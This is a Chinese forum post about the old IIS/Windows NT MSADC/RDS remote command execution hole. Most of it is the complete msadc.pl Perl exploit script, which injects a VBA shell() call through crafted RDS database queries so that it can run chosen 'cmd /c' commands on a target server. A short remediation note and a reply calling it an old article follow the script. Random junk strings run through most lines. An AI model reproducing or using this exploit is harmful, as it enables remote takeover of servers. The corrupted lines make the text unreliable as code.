社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168011阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _;J9q}X  
bE`*Uw4  
涉及程序: %.Tf u0M  
Microsoft NT server f5=t*9_-[  
R26tQbwE  
描述: B0oY]r6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 x@ s`;qz  
_iboTcUF  
详细: FbCZV3Y  
如果你没有时间读详细内容的话,就删除: Y?vm%t`K  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @DQ"vFj6<  
有关的安全问题就没有了。 Y="&|c=w#L  
J?Ep Nie  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :oj) eS[Y  
[P&,}o)+E0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Er/5 ,  
关于利用ODBC远程漏洞的描述,请参看: gh #w%g1g  
}DUDA%U  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1=q?#PQ  
5KH'|z  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 J_wz'eIb0  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7f\^VG  
+&N&D"9A  
这里不再论述。 ,@>rubUz  
wM4g1H%s  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9-E>n)  
kN9sug^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset P7x?!71?L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! iUG/   
vs0H^L  
+ $a:X  
#将下面这段保存为txt文件,然后: "perl -x 文件名" _g`0td>N  
@x F8' [<  
#!perl  ISnS;  
# z Hs  
# MSADC/RDS 'usage' (aka exploit) script ]qza*ba  
# w%o4MFK=!  
# by rain.forest.puppy f93X5hFnF  
# iBiA0 W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me j_WF38o  
# beta test and find errors! 9MzkG87J  
wY ;8UN  
use Socket; use Getopt::Std; |16BidWi  
getopts("e:vd:h:XR", \%args); ?a0}^:6  
ty< tv|p  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ylxfh(  
S,tVOxs^  
if (!defined $args{h} && !defined $args{R}) { x5 ~E'~_  
print qq~ qCkg\)Ks5I  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }NBJ T4R  
-h <host> = host you want to scan (ip or domain) W>|b98NPu  
-d <seconds> = delay between calls, default 1 second Y 6Qb_X:  
-X = dump Index Server path table, if available gcCYXPZp  
-v = verbose rnhf(K.{3  
-e = external dictionary file for step 5 8kc'|F\  
YxkEAb!+  
Or a -R will resume a command session v8k ^=A:  
QRHm |f9_C  
~; exit;} x0;}b-f  
:lQjy@J  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; OK J%M]<  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n03SX aU~V  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} pbvEIa-Y4  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -*q2Y^A^l  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} IIn\{*|mW  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Jo(}#_y?  
U?ic$J]N  
if (!defined $args{R}){ $ret = &has_msadc; )Q j9kJq  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} >(ww6vk2  
99>yaW  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" # +]! u%n  
. "cmd /c "; {]Iu">*  
$in=<STDIN>; chomp $in; 2,Dc]oj  
$command="cmd /c " . $in ; j<P%Uy+  
; <@O^_+  
if (defined $args{R}) {&load; exit;} 1V3J:W#;  
Xl+a@Ggtq  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Iw |[*Nu-  
&try_btcustmr; e CUcE(  
I^Jp )k*z  
print "\nStep 2: Trying to make our own DSN..."; wEc5{ b5M  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ye7&y4v+  
[f(^vlK  
print "\nStep 3: Trying known DSNs..."; cRr `r[t  
&known_dsn; :tG".z  
"K!BJQ  
print "\nStep 4: Trying known .mdbs..."; 5nq-b@?L  
&known_mdb; uBkn y;  
;1k0o.3  
if (defined $args{e}){ WA\f`SRF  
print "\nStep 5: Trying dictionary of DSN names..."; Ru aJ9O  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } gj;G:;1m  
R.`J"J0/~  
print "Sorry Charley...maybe next time?\n"; 6i9I 4*'  
exit; (3r,PS@Qq@  
>t }D5ah  
############################################################################## "FIx^  
3 v$4LY  
sub sendraw { # ripped and modded from whisker Zs|sPatV<  
sleep($delay); # it's a DoS on the server! At least on mine... eSBf;lr=  
my ($pstr)=@_; 1AV1W_"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /iuNdh  
die("Socket problems\n"); J*C*](  
if(connect(S,pack "SnA4x8",2,80,$target)){ <Pt\)"JA  
select(S); $|=1; =I}V PxhE7  
print $pstr; my @in=<S>; 8N_rJ)f  
select(STDOUT); close(S); ZSt ww{Z  
return @in; Z[bC@y[Wb  
} else { die("Can't connect...\n"); }} ClZyQ=UAD  
'+zsj0!A  
############################################################################## Bcon4  
KptLeb:Om  
sub make_header { # make the HTTP request J vsB^F.4  
my $msadc=<<EOT K!gFD  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ,!4_Uc  
User-Agent: ACTIVEDATA x,_Ucc.  
Host: $ip #[yl;1)  
Content-Length: $clen vJUB;hD  
Connection: Keep-Alive tb\pjLB][  
rNC3h"i\  
ADCClientVersion:01.06 li P{Mu/LO  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  m:Abq`C  
dtl<  
--!ADM!ROX!YOUR!WORLD!  y-#tU>P  
Content-Type: application/x-varg Ec 7M'~1  
Content-Length: $reqlen n_meJm.  
lGhUfhk  
EOT [1CxMk~"[  
; $msadc=~s/\n/\r\n/g; `VN<6o(  
return $msadc;} L1i> %5:g  
_Z2)e*(  
############################################################################## 0O4mA&&!oK  
,_zt? o\  
sub make_req { # make the RDS request 7S Zs/wWh%  
my ($switch, $p1, $p2)=@_; B ;$8<  
my $req=""; my $t1, $t2, $query, $dsn; mIodD)?{  
M6!brj\[|  
if ($switch==1){ # this is the btcustmr.mdb query q% 9oGYjvQ  
$query="Select * from Customers where City=" . make_shell(); 3)\qt s5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [?*^&[  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} nQ~L.V  
heA\6W:u&  
elsif ($switch==2){ # this is general make table query RA/yvr  
$query="create table AZZ (B int, C varchar(10))"; |-D.  
$dsn="$p1";} pE,BE%  
< *OF  
elsif ($switch==3){ # this is general exploit table query JN)t'm[kyE  
$query="select * from AZZ where C=" . make_shell(); p<34}iZ  
$dsn="$p1";} 7Y:s6R|  
kw'D2692  
elsif ($switch==4){ # attempt to hork file info from index server {*9i}w|2  
$query="select path from scope()"; xW~@V)OH  
$dsn="Provider=MSIDXS;";} .Oh$sma1  
;7>--_?=  
elsif ($switch==5){ # bad query XZGyhX7  
$query="select"; hd-ds~ve  
$dsn="$p1";} a\E]ueVD2j  
yI<'J^1C[  
$t1= make_unicode($query); n0q(EQy1U  
$t2= make_unicode($dsn); [~wcHE  
$req = "\x02\x00\x03\x00"; } _z~:{Y  
$req.= "\x08\x00" . pack ("S1", length($t1)); QNFrkel  
$req.= "\x00\x00" . $t1 ; `( Gk_VAa  
$req.= "\x08\x00" . pack ("S1", length($t2)); dX=^>9hN/  
$req.= "\x00\x00" . $t2 ; W+X zU"l  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]\lw^.%  
return $req;} .O^|MhBJu  
l ,.;dw  
############################################################################## j;.&+.  
B?'ti{p A9  
sub make_shell { # this makes the shell() statement R?Qou!*]  
return "'|shell(\"$command\")|'";} /'&L M\  
{ L5m`-x  
############################################################################## \Wk$>?+#@  
l-rnDl  
sub make_unicode { # quick little function to convert to unicode -j,o:ng0  
my ($in)=@_; my $out; G'Y|MCKz>  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } .9ne'Ta  
return $out;} JiR|+6"7  
Lsdu:+-  
############################################################################## :.,I4>b2  
bOdD:=f  
sub rdo_success { # checks for RDO return success (this is kludge) a=R-F!P)  
my (@in) = @_; my $base=content_start(@in); p:jrqjLp  
if($in[$base]=~/multipart\/mixed/){ $B2@mC([S  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} mq L+W  
return 0;} %y q}4[S+o  
Tp7?:YY|  
##############################################################################  a4yU[KK  
m 78PQx H  
sub make_dsn { # this makes a DSN for us 8 _J:Yg  
my @drives=("c","d","e","f"); OZ6%AUot  
print "\nMaking DSN: "; OsXQWSkj~  
foreach $drive (@drives) { 'zaB5d~l  
print "$drive: "; __M}50^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vuf|2!kh/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~U|te_l  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); b%BwGS(z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; a/ZfPl0Ns[  
return 0 if $2 eq "404"; # not found/doesn't exist qA30G~S  
if($2 eq "200") { lQzrf"N'  
foreach $line (@results) { fOJyY[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} &V"&SV>}  
} return 0;} .JqIAC~  
bpzA ' g>  
############################################################################## \0$?r4A  
Vk"QcW  
sub verify_exists { -[=`bHo  
my ($page)=@_; PJLA^eC7>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O  tr@jgw  
return $results[0];} TsQMwV_h  
4ZIXG,@mZJ  
############################################################################## p82qFzq#  
:X^B1z3X4  
sub try_btcustmr { Q|>y2g!  
my @drives=("c","d","e","f"); _heQ|'(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); D|xSO~M5  
6Z$T& Ul{  
foreach $dir (@dirs) { E-x(5^b"  
print "$dir -> "; # fun status so you can see progress *VH1(E`hl  
foreach $drive (@drives) { ,O2F}5|;  
print "$drive: "; # ditto [8"nRlXH  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^^Ius ]  
$reqlenlen=length( "$reqlen" ); by {~gu  
$clen= 206 + $reqlenlen + $reqlen; TzOf&cs/r  
|^1eL I  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); mp#5V c  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 'D1@+FFU0  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} gnv4.f:  
&(K*TB|Om  
############################################################################## ~&pk</Dl  
 -x7L8Wj  
sub odbc_error { 0iYe>u  
my (@in)=@_; my $base; 'j.{o  
my $base = content_start(@in); *"#>Ov>  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %spR7J\"/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pY2nv/  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Rzb] mM  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )b =$!  
return $in[$base+4].$in[$base+5].$in[$base+6];} FOZqN K  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4U((dx*m  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . }, ]W/  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} n_aKciF  
8]0^OSS  
############################################################################## Q>.-u6(&  
?znSA >  
sub verbose { "^u|vCqw  
my ($in)=@_; 43/|[  
return if !$verbose; t0wLj}"U  
print STDOUT "\n$in\n";} z_zr3XR9  
O9opX\9  
############################################################################## [P[syi#]t  
@A)gsDt9A  
sub save { 7_JK2  
my ($p1, $p2, $p3, $p4)=@_; T-27E$0  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ~<|xS  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BqR8%F  
close OUT;} xbIxtZm  
$ @^n3ZQ4  
############################################################################## 'j}%ec1  
n&@\[,B  
sub load { Jk`A}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; md<%Z4+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _$1W:!f4  
@p=<IN>; close(IN); qD%Jf4.0j  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); H*l8,*M}  
$target= inet_aton($ip) || die("inet_aton problems"); J L]6o8x  
print "Resuming to $ip ..."; w;X-i.%`  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 75{QBlf<  
if($p[1]==1) { ^oA^z1>3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ];IUiS1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; '*22j ]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); yaeX-'(Fv[  
if (rdo_success(@results)){print "Success!\n";} 8TuOf(qE  
else { print "failed\n"; verbose(odbc_error(@results));}} R,tR{| 8  
elsif ($p[1]==3){ TVKuvKH8U  
if(run_query("$p[3]")){ Jln dypE  
print "Success!\n";} else { print "failed\n"; }} _w(SHWh2  
elsif ($p[1]==4){ ]F-{)j  
if(run_query($drvst . "$p[3]")){ _pW\F(+8  
print "Success!\n"; } else { print "failed\n"; }} MvObx'+  
exit;} Nk]r2^.z[  
Al 0zL  
############################################################################## 3 bGpK9M~  
qdzc"-gH`  
sub create_table { KbSIKj  
my ($in)=@_; (0^u  
$reqlen=length( make_req(2,$in,"") ) - 28; J8(v65  
$reqlenlen=length( "$reqlen" ); 2T iUo(MK  
$clen= 206 + $reqlenlen + $reqlen; \U,.!'+  
my @results=sendraw(make_header() . make_req(2,$in,"")); YwEXTy>0  
return 1 if rdo_success(@results); h@l5MH=|%  
my $temp= odbc_error(@results); verbose($temp); ^cd+W?  
return 1 if $temp=~/Table 'AZZ' already exists/; a&|aK+^8;  
return 0;} v dyu=*Y  
s4t>/.;x  
############################################################################## wn5CaP(]8  
><5tnBP|+L  
sub known_dsn {  !3}vl Y1  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !bS:!Il9=  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a";(C ,:0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", h )fi9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2t*@P"e!  
gVl%:Ra%  
foreach $dSn (@dsns) { O8r9&Nv  
print "."; +hqsIx  
next if (!is_access("DSN=$dSn")); c{7!:hi`x  
if(create_table("DSN=$dSn")){ 2VA\{M  
print "$dSn successful\n"; +t})tDPXw  
if(run_query("DSN=$dSn")){ 9#xcp/O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6m|j " m  
print "Something's borked. Use verbose next time\n";}}} print "\n";} xm6cn\e  
0sLR5A  
############################################################################## wZ5 + H%x  
Z>{3t/`  
sub is_access { ,?P@ :S<8  
my ($in)=@_; Rku9? zf^  
$reqlen=length( make_req(5,$in,"") ) - 28; 6$lj$8\  
$reqlenlen=length( "$reqlen" ); ,GA2K .:#  
$clen= 206 + $reqlenlen + $reqlen; S1.w^Ccy  
my @results=sendraw(make_header() . make_req(5,$in,"")); ]2+7?QL,  
my $temp= odbc_error(@results); cF7I  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !g-|@W  
return 0;} @YHB>rNf(7  
eR4%4gW)  
############################################################################## MD%_Z/NL  
_p"nR  
sub run_query { 7aj|-gZ  
my ($in)=@_; %+ynrg-  
$reqlen=length( make_req(3,$in,"") ) - 28; |X,T>{V?y  
$reqlenlen=length( "$reqlen" ); Ph'*s{   
$clen= 206 + $reqlenlen + $reqlen; 3M=ym.  
my @results=sendraw(make_header() . make_req(3,$in,"")); qM~ev E$%  
return 1 if rdo_success(@results); Q-k{Lqa-  
my $temp= odbc_error(@results); verbose($temp); yZE"t[q#O  
return 0;} &.,ZU\`zT  
 |W];8  
############################################################################## u[$ \ az7  
. T6fPEb  
sub known_mdb { Xt %;]1n  
my @drives=("c","d","e","f","g"); 0'{0kE[wn  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '8R5?9"  
my $dir, $drive, $mdb; &`[y]E'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; *,A?lX,9A  
d h#4/Wa,  
# this is sparse, because I don't know of many k>I[U}h  
my @sysmdbs=( "\\catroot\\icatalog.mdb", fgVeB;k|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  c %w h  
"\\system32\\certmdb.mdb", 03Pa; n  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ~3< Li}W  
RsIR}.*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ua# sW  
"\\cfusion\\cfapps\\forums\\forums_.mdb", -]\cUQ0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =(Y 1y$  
"\\cfusion\\cfapps\\security\\realm_.mdb", mojD  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", B:Ec(USe  
"\\cfusion\\database\\cfexamples.mdb", @AYO )Y8  
"\\cfusion\\database\\cfsnippets.mdb", ]:m>pI*z.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &rj3UF@hb  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mZDL=p  
"\\cfusion\\brighttiger\\database\\cleam.mdb", !_P;4E  
"\\cfusion\\database\\smpolicy.mdb", I?nj_ as  
"\\cfusion\\database\cypress.mdb", uKHkC.g  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", PYX]ld.E  
"\\website\\cgi-win\\dbsample.mdb", +Bk" khH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4)./d2/E  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" VDq4n;p1  
); #these are just iTJSW  
foreach $drive (@drives) { *F| j%]k~  
foreach $dir (@dirs){ GInU7y904  
foreach $mdb (@sysmdbs) { !mLQdkTE  
print "."; 0O+[z9  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }GX[N\$N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; pcwkO  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9|#YKO\\i  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; SEsc"l8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lIPy)25~  
~RGZY/4  
foreach $drive (@drives) { fZ!fwg$  
foreach $mdb (@mdbs) { e]R`B}vO  
print "."; A??(}F L  
if(create_table($drv . $drive . $dir . $mdb)){ 0T-y]&uo  
print "\n" . $drive . $dir . $mdb . " successful\n"; Qwl=/<p1  
if(run_query($drv . $drive . $dir . $mdb)){ /Qi;'h]  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; A;VjMfoB  
} else { print "Something's borked. Use verbose next time\n"; }}}} E=!=4"rZF  
} P9h]B u  
am;)@<8~Q  
############################################################################## r_/=iYYJ  
^~~&[wY  
sub hork_idx { CMI'y(GN  
print "\nAttempting to dump Index Server tables...\n"; *((wp4b  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; vowU+Y  
$reqlen=length( make_req(4,"","") ) - 28; |Y#KMi ~  
$reqlenlen=length( "$reqlen" ); '6U~|d  
$clen= 206 + $reqlenlen + $reqlen; g}HB|$P7  
my @results=sendraw2(make_header() . make_req(4,"","")); LDDeZY"xd  
if (rdo_success(@results)){ u%n6!Zx  
my $max=@results; my $c; my %d; ds@X%L;_  
for($c=19; $c<$max; $c++){ P&PPX#%  
$results[$c]=~s/\x00//g; Pp-\#WJ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9$[I~I#z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; fh~"A`d  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; `CCuwe<v  
$d{"$1$2"}="";} ];BGJ5^j  
foreach $c (keys %d){ print "$c\n"; } ;M,u,KH)/  
} else {print "Index server doesn't seem to be installed.\n"; }} |GPR3%9  
J[E_n;d1  
############################################################################## |<nS<x  
/7WN,a  
sub dsn_dict { e1Kxqw7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 56 6vjE  
while(<IN>){ gq9D#B  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \~V Z Y  
next if (!is_access("DSN=$dSn")); / S  
if(create_table("DSN=$dSn")){ a^yBtb~,P  
print "$dSn successful\n"; 08)X:@ w?  
if(run_query("DSN=$dSn")){ @\-i3EhR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { HSq.0vYl6  
print "Something's borked. Use verbose next time\n";}}} f tBbO8e  
print "\n"; close(IN);} }1]E=!?)&  
|$[WnYP  
############################################################################## En&bwLu:s  
 ?39B(T  
sub sendraw2 { # ripped and modded from whisker <~aQ_l  
sleep($delay); # it's a DoS on the server! At least on mine... .Q'/e>0  
my ($pstr)=@_; ^/;W;C{4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z;Pr] *F  
die("Socket problems\n"); mNcoR^(VN  
if(connect(S,pack "SnA4x8",2,80,$target)){ -QH[gi{%`  
print "Connected. Getting data"; 4%l @   
open(OUT,">raw.out"); my @in; &P8 Run  
select(S); $|=1; print $pstr; B<.XowT'  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} g=eYl_P6  
close(OUT); select(STDOUT); close(S); return @in; C+ {du^c$  
} else { die("Can't connect...\n"); }} EJqzh i5  
f"XFf@!  
############################################################################## ]W,K}~!   
F 8*e  
sub content_start { # this will take in the server headers XD\RD  
my (@in)=@_; my $c; i!zh9,i>M  
for ($c=1;$c<500;$c++) { iG<rB-"  
if($in[$c] =~/^\x0d\x0a/){ 6;/>asf  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } HV:mS*e  
else { return $c+1; }}} tPO\e]  
return -1;} # it should never get here actually <pd6,l\  
r,p6J7/lfS  
############################################################################## qX'w}nJ}H}  
bDdJh}Vz  
sub funky { _Q<wb8+/  
my (@in)=@_; my $error=odbc_error(@in); XOl]s?6H$  
if($error=~/ADO could not find the specified provider/){ :SxOQ(n  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Mwdh]I,#  
exit;} e2#"o{+@  
if($error=~/A Handler is required/){ \'( @{  
print "\nServer has custom handler filters (they most likely are patched)\n"; |xI\)V E^  
exit;} JL~QE-pvD  
if($error=~/specified Handler has denied Access/){ GD1=Fb"&)  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?p{xt$<p  
exit;}} v4L#^Jw(^p  
a,Gd\.D  
############################################################################## o l 67x  
yjvH)t/!.  
sub has_msadc { Zl]Zy}p*+  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7Dy\-9:v  
my $base=content_start(@results); { .KCK_ d  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); '< OB  j  
return 0;} hq9b  
%UJ!(_  
######################## x&3!z[m@@  
&J|3uY,'j  
 9H*$3  
解决方案: mwFI89J'  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll S~vbISl  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =mCUuY#  
P ]2M  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五